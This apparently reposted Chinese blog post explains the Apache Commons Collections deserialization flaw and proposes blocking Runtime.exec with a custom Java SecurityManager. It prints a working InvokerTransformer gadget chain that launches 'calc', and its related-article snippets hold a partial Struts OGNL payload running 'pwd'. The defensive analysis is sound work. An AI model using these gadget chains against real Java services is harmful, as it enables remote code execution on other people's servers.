由 Apache Commons Collections 漏洞引發的思考

2021-02-13 ImportNew

(點擊上方公眾號,可快速關注)

來源:hengyunabc,

blog.csdn.net/hengyunabc/article/details/49804577

如有好文章投稿,請點擊 → 這裡了解詳情

新版apache commons collections 3.2.2修復漏洞

新版本的apache commons collections默認禁止了不安全的一些轉換類。可以通過升級來修復漏洞。參考release說明:https://commons.apache.org/proper/commons-collections/release_3_2_2.html

Dubbo rpc遠程代碼執行的例子

重新思考了下這個漏洞,給出一個dubbo rpc遠程代碼執行的例子。

https://github.com/hengyunabc/dubbo-apache-commons-collections-bug

可以說很多公司開放的rpc,只要協議裡支持Java序列化方式,classpath裡有apache commons collections的jar包,都存在被遠程代碼執行的風險。

至於能不能通過http接口再調用dubbo rpc遠程代碼,貌似不太可行。因為信息難以傳遞。

Apache Commons Collections遠程代碼執行漏洞

最近出來一個比較嚴重的漏洞,在使用了Apache Commons Collections的Java應用,可以遠程代碼執行。包括最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些大名鼎鼎的Java應用。

這個漏洞的嚴重的地方在於,即使你的代碼裡沒有使用到Apache Commons Collections裡的類,只要Java應用的Classpath裡有Apache Commons Collections的jar包,都可以遠程代碼執行。

參考

這個漏洞的演示很簡單,只要在maven依賴裡增加

<dependency>

    <groupId>commons-collections</groupId>

    <artifactId>commons-collections</artifactId>

    <version>3.2.1</version>

</dependency>

再執行下面的Java代碼:

Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),

        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },

                new Object[] { "getRuntime", new Class[0] }),

        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },

                new Object[] { null, new Object[0] }),

        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };

 

Transformer transformedChain = new ChainedTransformer(transformers);

 

Map innerMap = new HashMap();

innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

 

Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();

onlyElement.setValue("foobar");

這個漏洞的根本問題並不是Java序列化的問題,而是Apache Commons Collections允許鏈式的任意的類函數反射調用。攻擊者通過允許Java序列化協議的埠,把攻擊代碼上傳到伺服器上,再由Apache Commons Collections裡的TransformedMap來執行。

這裡不對這個漏洞多做展開,可以看上面的參考文章。

如何簡單的防止Java程序調用外部命令?

從這個漏洞,引發了很久之前的一個念頭:如何簡單的防止Java程序調用外部命令

java相對來說安全性問題比較少。出現的一些問題大部分是利用反射,最終用Runtime.exec(String cmd)函數來執行外部命令的。如果可以禁止JVM執行外部命令,未知漏洞的危害性會大大降低,可以大大提高JVM的安全性

換而言之,就是如何禁止Java執行Runtime.exec(String cmd)之類的函數。

在Java裡有一套Security Policy,但是實際上用的人比較少。因為配置起來太麻煩了。

參考:

http://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html

http://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

http://docs.gigaspaces.com/xap102sec/java-security-policy-file.html 詳細的權限列表可以參考這個文檔

從文檔裡可以知道,Java裡並沒有直接禁止Rumtine.exec 函數執行的權限。

禁止文件執行的權限在java.io.FilePermission裡。如果想禁止所有外部文件執行,可以在下面的配置文件中把execute 刪除:

grant {

  permission java.io.FilePermission "<<ALL FILES>>", "read, write, delete, execute";

};

但是Java權限機制是白名單的,還有一大堆的權限要配置上去,非常複雜。

從tomcat的配置就知道了。http://tomcat.apache.org/tomcat-7.0-doc/security-manager-howto.html

所以Tomcat默認是沒有啟用Security Policy的,可以通過在命令加上-security參數來啟用。

catalina.sh start -security

那麼有沒有簡單的辦法可以在代碼裡禁止Java執行外部命令?

研究了下,通過擴展SecurityManager可以簡單實現:

SecurityManager originalSecurityManager = System.getSecurityManager();

if (originalSecurityManager == null) {

    // 創建自己的SecurityManager

    SecurityManager sm = new SecurityManager() {

        private void check(Permission perm) {

            // 禁止exec

            if (perm instanceof java.io.FilePermission) {

                String actions = perm.getActions();

                if (actions != null && actions.contains("execute")) {

                    throw new SecurityException("execute denied!");

                }

            }

            // 禁止設置新的SecurityManager,保護自己

            if (perm instanceof java.lang.RuntimePermission) {

                String name = perm.getName();

                if (name != null && name.contains("setSecurityManager")) {

                    throw new SecurityException("System.setSecurityManager denied!");

                }

            }

        }

 

        @Override

        public void checkPermission(Permission perm) {

            check(perm);

        }

 

        @Override

        public void checkPermission(Permission perm, Object context) {

            check(perm);

        }

    };

 

    System.setSecurityManager(sm);

}

只要在Java代碼裡簡單加上面那一段,就可以禁止執行外部程序了。

Java序列化的本身的蛋疼之處

其實Java自身的序列化機制就比較蛋疼,可以參考Effective Java裡的。

http://allenlsy.com/NOTES-of-Effective-Java-10/

並非禁止外部程序執行,Java程序就安全了

要注意的是,如果可以任意執行Java代碼,還可以做很多事情,比如寫入ssh密鑰,從而可以遠程登陸,參考最近的Redis未授權訪問漏洞:https://www.sebug.net/vuldb/ssvid-89715

總結

禁止JVM執行外部命令,是一個簡單有效的提高JVM安全性的辦法。但是以前沒有見到有相關的內容,有點奇怪。

可以考慮在代碼安全掃描時,加強對Runtime.exec相關代碼的檢測。

有些開源庫喜歡用Runtime.exec來執行命令獲取網卡mac等操作,個人表示相當的蛋疼,不會使用這樣子的代碼。

看完本文有收穫?請轉發分享給更多人

關注「ImportNew」,提升Java技能

相關焦點

  • 由Apache Commons Collections漏洞引發的思考
    攻擊者通過允許Java序列化協議的埠,把攻擊代碼上傳到伺服器上,再由Apache Commons Collections裡的TransformedMap來執行。二、Dubbo遠程代碼執行demo重新思考了下這個漏洞,給出一個dubbo rpc遠程代碼執行的例子「見參考」。
  • Apache Commons Collections反序列化漏洞分析與復現
    完成漏洞挖掘條件分析、漏洞復現。存在安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。POC核心代碼:package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer
  • Apache-commons 常用工具類
    >    <version>3.4</version></dependency><dependency>    <groupId>commons-collections</groupId>    <artifactId>commons-collections</artifactId
  • 全面的Java開源Apache Commons 工具類介紹
    org.apache.commons.collections – Commons Collections自定義的一組公用的接口和工具類org.apache.commons.collections.bag – 實現Bag接口的一組類org.apache.commons.collections.bidimap – 實現BidiMap系列接口的一組類
  • Apache Commons 工具類介紹及簡單使用
    org.apache.commons.collections – Commons Collections自定義的一組公用的接口和工具類org.apache.commons.collections.bag – 實現Bag接口的一組類org.apache.commons.collections.bidimap – 實現BidiMap系列接口的一組類
  • Apache Dubbo反序列化漏洞(CVE-2019-17564)
    No.1 聲明由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
  • Apache Struts2--061遠程代碼執行漏洞復現
    docker-compose up -d1、漏洞環境啟動2、訪問漏洞環境').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get
  • Apache Commons 工具集使用簡介
    四、Commons Collectionshttp://jakarta.apache.org/commons/collections/說明:你可以把這個工具看成是java.util的擴展。六、Commons DbUtilshttp://jakarta.apache.org/commons/dbutils/說明:我以前在寫資料庫程序的時候,往往把資料庫操作單獨做一個包。DbUtils就是這樣一個工具,以後開發不用再重複這樣的工作了。
  • Apache Struts2-61(CVE-2020-17530)遠程代碼執行漏洞
    ApacheStruts於2020年12月08日披露 S2-061 Struts 遠程代碼執行漏洞(CVE-2020-17530),在使用某些tag等情況下可能存在OGNL表達式注入漏洞,從而造成遠程代碼執行,風險極大。本次漏洞是對S2-059漏洞修復後的繞過。S2-059的修復補丁僅修復了沙盒繞過,但是並沒有修復OGNL表達式的執行。但是在最新版本2.5.26版本中OGNL表達式的執行也修復了。
  • 【技術分享】Apache Shiro <= 1.2.4反序列化漏洞分析
    0x00 Apache Shiro這個組件的漏洞很久之前就爆出來過,但是最近工作中又遇到了,剛好最近也在看Java反序列化的東西,所以決定拿出來再分析一下,期間也遇到了一些奇怪的問題。網上的分析文章中大部分都是手動添加了commons-collections4-4.0的依賴,目的是為了使用ysoserial生成的CommonsCollections2這個payload,然而我遇到的情況是使用了CommonsBeanutils1就可以直接打成功,所以這裡我們不再重複網上對CommonsCollections2的分析了。
  • Apache Commons IO 入門教程
    這些類由經驗豐富的開發者維護,對各種問題的邊界條件考慮周到,並持續修復相關bug。在下面的例子中,我們會向你演示一些不同功能的方法,這些功能都是在org.apache.commons.io包下。Apache Commons IO 是一個巨大工程,我們不會深入去剖析它的底層原理,但是會演示一些比較常用的例子,不管你是不是新手,相信這些例子都會對你有所幫助。
  • 漏洞復現 | Struts遠程命令執行漏洞
    (#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('pwd').getInputStream())).
  • Apache Commons Fileupload竟存在漏洞,你慌了嗎?
    這個漏洞的危害是能夠任意寫、讀文件或者目錄。但是具體是對文件還是目錄操作與FileUpload以及JDK的版本有關。不同的漏洞環境能夠達到的效果不一樣。(文件的的命名也無法控制);影響範圍commons-fileupload<=1.3.2下面進行詳細地分析Payload構造我們首先測試的版本是1.3的版本,JDK是1.8版本,所以這種組合只能達到向任意目錄的文件寫入的漏洞效果。
  • Apache Shiro 反序列化之殤
    Java: jdk1.8.0_121 Tomcat: 7.0.94解壓後進入shiro-shiro-root-1.2.4/samples/web用IDEA加載,並設置pom.xml,指定jstl版本為1.2,增加commons-collections4,如下: <dependencies&
  • Java反序列化漏洞從入門到深入
    如果想要深入學習Java編程,建議購買一本《Java瘋狂講義》,還有金旭亮老師的Java學習PPT(力薦)簡單的反序列化漏洞demo在Java反序列化中,會調用被反序列化的readObject方法,當readObject方法書寫不當時就會引發漏洞。
  • Shiro反序列化漏洞詳細分析
    另外學習了shiro-550也可以更好地理解shiro-721漏洞,也就是Shiro Padding Oracle Attack。所以這次就詳細地看下shiro反序列化漏洞。 shiro-550(shiro小於1.2.5)主要是由shiro的rememberMe內容反序列化導致的命令執行漏洞,造成的原因是AES密鑰被硬編碼在shiro源碼中,這就導致了可以通過在cookie的rememberMe欄位插入payload實現任意代碼執行。
  • 用友NC歷史漏洞(含POC)
    前言用友NC爆出多次漏洞,而且漏洞過程都比較簡單,所以易於入門。先看關鍵路由。處理,因此用友NC的絕大部分漏洞都存在兩種觸發方式,比如monitorservlet。*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer
  • Java 反序列化漏洞(二)新版本JDK利用方式和Shiro舉例
    新的希望0x00在上一節中我們介紹了 Java 反序列化漏洞的成因和利用 commons-collections 3.1 搭配 sun.reflect.annotation.AnnotationInvocationHandler 實現遠程命令執行的方式。
  • 小姐姐帶你看Shiro反序列化漏洞利用
    三、密鑰判斷腳本shiro在1.4.2版本之前, AES的模式為CBC, IV是隨機生成的,並且IV並沒有真正使用起來,所以整個AES加解密過程的key就很重要了,正是因為AES使用Key洩漏導致反序列化的cookie可控,從而引發反序列化漏洞
  • Apache Atlas源碼編譯部署和配置運行
    name>ali</name>  <url>https://maven.aliyun.com/repository/public</url></mirror>可能會由於Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections.ExtendedProperties